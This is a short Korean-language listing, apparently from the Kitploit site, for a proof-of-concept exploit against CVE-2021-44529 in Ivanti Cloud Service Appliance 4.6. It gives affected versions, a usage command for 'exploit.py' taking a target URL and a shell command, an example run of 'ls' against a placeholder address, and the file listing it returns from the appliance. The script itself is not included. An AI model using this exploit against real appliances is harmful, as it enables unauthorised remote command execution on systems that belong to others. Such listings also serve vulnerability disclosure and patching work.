CVE-2021-44529 — CVE-2021-44529(Ivanti Cloud Service Appliance)에 대한 개념 증명 익스플로잇으로, 조작된 요청을 통해 원격 명령 실행을 허용합니다. | Kitploit

공유

CVE-2021-44529

공급업체 홈페이지: https://www.ivanti.com/

소프트웨어 링크: https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6

버전: CSA 4.6 4.5 - 2021년 8월 지원 종료(EOF)

실행

python3 exploit.py <URL> <command>

예시

python3 exploit.py 'https://x.x.x.x' 'ls'

LDMGdeploy.pdf
LDSupport.exe
OnDemand.php
RCClient.dmg
RCClient.exe
about.php
download.php
images
index.php
menus.php
site.conf
style.php
test.txt
tools.php